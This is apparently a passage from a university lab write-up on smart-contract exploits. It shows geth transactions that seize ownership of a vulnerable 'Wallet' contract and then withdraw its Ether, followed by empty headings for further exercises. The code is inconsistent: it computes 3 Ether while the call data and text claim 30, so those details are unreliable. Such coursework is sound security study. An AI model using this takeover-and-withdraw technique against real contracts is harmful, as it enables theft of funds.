

TU Wien

We can then send this call data to the contract (via the geth console):

```
1 eth.sendTransaction({
2   from: student,
3   to: badparityAddress,
4   data: "0x9da8be21000000000000000000000000f9ac06BAeb6597511C22Dc7b03DA447cA893fb4e",
5   gas: "80000"
6 });
```

The owner of the `Wallet` contract is now our own address. Since we are the owner, we can call the `withdraw` function from the `Wallet` contract:

```
1 sig = w3.keccak(text= 'withdraw(uint256)')[ :4].hex() + hex(3000000000000000000)[2:] .rjust(64,  
    ↪ '0')  
2 # sig = 0x2e1a7d4d00000000000000000000000000000000000000000000000000000001a055690d9db80000  
3 eth.sendTransaction({  
4     from: student,  
5     to: badparityAddress,  
6     data: "0x2e1a7d4d0000000000000000000000000000000000000000000000000001a055690d9db80000",  
7     gas: "80000"  
8 });
```

Our own balance has increased by 30 Ether.

Exercise B: DAO Down

Exercise C: Fail Dice

Exercise D: Not A Wallet

Work distribution